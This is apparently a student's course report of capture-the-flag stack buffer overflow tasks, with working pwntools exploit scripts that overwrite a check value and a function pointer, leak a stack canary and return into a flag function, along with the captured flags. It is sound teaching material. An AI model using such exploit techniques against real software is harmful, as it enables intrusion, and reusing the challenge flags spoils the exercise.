**Compulsory Assignment I: Report**

**Task 00**

**Observations: Source Code**

The **buffer** has a 16-byte capacity. The structure **locals** contains this buffer, as well as a fixed-size int32\_t **check** which is initialized to **0xabcdc3cf**.

The if/else-statement surrenders the flag if the **check** member of **locals** contains the address **0x00c0ffee**, else prints a string and exits the program.

Hence, if I overflow the buffer sending 16 bytes of junk and return to the memory address **0xc0ffee**, I retrieve the flag.

#!/usr/bin/python3

from pwn import \*

from pwn import p64

io = remote('inf226.puffling.no', 7000)

line = cyclic(16) + p64(0xc0ffee)

io.sendline(line)

recieved = io.recvall().decode()

flag = recieved.splitlines()[-1]

print(f'Flag 00: {flag}')

**Output**

A screen shot of a computer code

Description automatically generated

As the output shows, the flag for task 00 is **INF226{s33kret c0de}**.

**Vulnerability**

The buffer overflow vulnerability in this program lies in the fgets call, which reads the input to the program. There is no restriction on the size of input to the buffer, which means that an attacker can exploit it by inputing more than 16 bytes and thus overwrite the stack.

**Task 01**

**Observations: Source Code**

In this program, the function **getFlag** is responsible for surrendering the flag.

In the **main** function, the structure **vars** contains a **buffer** of 16-byte capacity, as well as a function pointer which is initialized not to point to any function.  The if/else-statement checks which address **funPointer** is pointing to, and executes the function in that location - i.e. if it points to the address of **getFlag**, the function is called and the flag is retrieved. Else, it prompts user to try again.

I use a similar approach as to 00, and overflow the **buffer** with 16 bytes of junk. This time return to the address of **getFlag** in order to get the function pointer to call it. I obtain the address of **getFlag** **= 0x4011d6** through **objdump -d ./01** in the commandline (or the [stack visualization tool](https://inf226.puffling.no/frames/) provided).

#!/usr/bin/python3

from pwn import \*

from pwn import p64

io = remote('inf226.puffling.no', 7001)

# 00000000004011d6 <getFlag> from objdump -d ./01

line = cyclic(16) + p64(0x4011d6)

io.sendline(line)

recieved = io.recvall().decode()

flag = recieved.splitlines()[-1]

print(f'Flag 01: {flag}')

NTS: It seems the flag is surrendered even if other addresses are provided. Does this mean that the function pointer just has to be != NULL (i.e. point to *any* function), and it points to getFlag either way..?

**Output**

A screen shot of a computer code

Description automatically generated

As the output shows, the flag for task 01 is **INF226{d3 h0ly gra1l}.**

**Notes**

A screen shot of a computer program

Description automatically generated

**Task 02**

**Observations: Source Code**

The function **getFlag** is responsible for surrendering the flag.

In **main**, a **buffer** of 16-byte capacity is declared, and initialized with values {0,1,2,…,15}.

An int variable **offset** is initialized to 0. The first prompt from the program is printed, and the response input from user is stored in the **buffer**. The user input is then converted to integer representation and stored in the **offset** variable. Then the program provides a hint in form of a hex value, which is a memory address on the location of **buffer+offset**. The program asks user not to overwrite its stack, and the program terminates.

**Execution**:

I get the prompt: ‘What is the carrying capacity of a domestic canary?’

Assuming this is an obscure way of asking how much input it can take before crashing, I try several different amounts of data, and the program finally crashes at 24 A’s.

**Observations: Execution and Disassembly**

Running **checksec ./02** I see that there is a **stack canary** present. There is **No PIE**, meaning it has been compiled as a position dependent executable, as opposed to a position *independent* executable (PIE), which is neccessary to enable address space layout randomization (ASLR). ASLR is a security feature that makes sure executables are loaded into random address locations in virtual memory each time the program is run, so no PIE is a good precondition for exploiting the program. However, we need to bypass the canary somehow.

A screenshot of a computer

Description automatically generated

The hint that is given during execution likely points to the location in memory where **canary** resides. Therefore, in order to leak the canary, I capture the output that is sent right after **“Here’s a hint: “**, i.e. the memory address of **buffer+offset**. I then send 24 bytes of junk, the canary value, 8 more bytes of junk, and then the address of **getFlag** + 5.

If I return to the top of **getFlag**, I get an impression of completing the capture without actually capturing the flag:

A screen shot of a computer

Description automatically generated

This is because the stack becomes disaligned after pushing the value in **rbp** registry (frame pointer) onto stack. The stack alignment becomes off by 8), and thus the **system()** function crashes.

We have to avoid this jumping past the address in which the instruction occurs:

A screen shot of a computer screen

Description automatically generated

The address of the instruction *after* **push %rbp** is **40121b** (i.e. address of **getFlag** + 5). By returning here instead of the top of **getFlag**, we avoid the problem of stack disalignment.

Source: [ROP: *Solving the* system() *crash*](https://git.app.uib.no/inf226/23h/inf226-23h/-/wikis/lectures/ROP#solving-the-system-crash), 11:54 9/15/2023.

#!/usr/bin/python3

from pwn import \*

from pwn import p64

io = remote('inf226.puffling.no', 7002)

io.recvuntil(b'? ')

io.sendline(b'24')

r = io.recvline()

prompt = b"Here's a hint: "

canary = r[r.startswith(prompt) and len(prompt):]

io.recvline()

io.send(cyclic(24) + p64(int(canary, 16)) + cyclic(8) + p64(0x40121B))

io.shutdown()

recieved = io.recvall().decode()

flag = recieved.splitlines()[-2]

print(f'Flag 02: {flag}')

A screen shot of a computer code

Description automatically generated

As the output shows, the flag for task 02 is **INF226{s3r1nu5\_s3r1nu5}.**

**TASK 03**

Responding with 32 A’s, I get output f7f9f600.

A computer screen shot of a computer program

Description automatically generated

If I input 33 and then 34 A’s I get seg. fault and the following response:

A computer screen with white text

Description automatically generated

*Is the* argv *address the address of the canary?*